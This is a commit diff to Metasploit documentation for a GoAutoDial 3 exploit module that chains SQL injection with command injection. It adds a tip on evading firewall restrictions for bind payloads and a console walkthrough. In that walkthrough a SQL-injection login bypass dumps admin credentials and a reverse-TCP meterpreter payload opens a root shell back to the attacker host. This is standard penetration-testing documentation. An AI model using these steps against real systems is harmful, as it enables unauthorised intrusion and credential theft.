Minor doc update.

Author: pbarry-r7

documentation/modules/exploit/linux/http/goautodial_3_rce_code_injection.md

@@ -7,6 +7,8 @@ This module exploits a SQL injection flaw and command injection flaw within GoAu
 GoAutoDial 3.3 CE (32bit and 64bit) is available for download from goautodial.org. In order to download, register a free account then download the bootable ISOs. Both ISOs have been used for the dev of this. http://goautodial.org/attachments/download/3237/goautodial-32bit-ce-3.3-final.iso.html
 Refer to: https://www.exploit-db.com/exploits/36807/
 
+NOTE: GoAutoDial heavily restricts inbound traffic via iptables rules (and uses fail2ban, as well).  This can cause bind payloads to quietly fail.  For bind payloads, using ports which allow inbound connections but have no service running is ideal (ports 21 and 222 fall into this category for default GoAutoDial behavior).
+
 ## Verification
 
 - Start `msfconsole`
@@ -19,6 +21,8 @@ Refer to: https://www.exploit-db.com/exploits/36807/
 
 ## Scenarios
 
+### Targeting 64-bit GoAutoDial
+
 ```
 msf > use exploit/linux/http/goautodial_3_rce_command_injection
 msf exploit(goautodial_3_rce_command_injection) > set rhost 172.16.191.150
@@ -49,3 +53,33 @@ Architecture : x64
 Meterpreter  : x64/linux
 ```
 
+### Targeting 32-bit GoAutoDial
+```
+msf > use exploit/linux/http/goautodial_3_rce_command_injection
+msf exploit(goautodial_3_rce_command_injection) > set lhost 10.0.2.4
+lhost => 10.0.2.4
+msf exploit(goautodial_3_rce_command_injection) > set rhost 10.0.2.44
+rhost => 10.0.2.44
+msf exploit(goautodial_3_rce_command_injection) > set payload linux/x86/meterpreter/reverse_tcp
+payload => linux/x86/meterpreter/reverse_tcp
+msf exploit(goautodial_3_rce_command_injection) > run
+
+[*] Started reverse TCP handler on 10.0.2.4:4444
+[*] 10.0.2.44:443 - Trying SQL injection...
+[+] 10.0.2.44:443 - Authentication Bypass (SQLi) was successful
+[*] 10.0.2.44:443 - Dumping admin password...
+[+] 10.0.2.44:443 - Found credentials: admin|newpassword|Admin|||Y
+[*] 10.0.2.44:443 - Sending payload...
+[*] Command Stager progress -  78.66% done (796/1012 bytes)
+[*] Sending stage (798104 bytes) to 10.0.2.44
+[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.44:49035) at 2017-07-07 15:49:48 -0500
+[*] Command Stager progress - 100.00% done (1012/1012 bytes)
+
+meterpreter > getuid
+Server username: uid=0, gid=0, euid=0, egid=0
+meterpreter > sysinfo
+Computer     : go.goautodial.org
+OS           : CentOS 5.10 (Linux 2.6.18-371.11.1.el5)
+Architecture : i686
+Meterpreter  : x86/linux
+```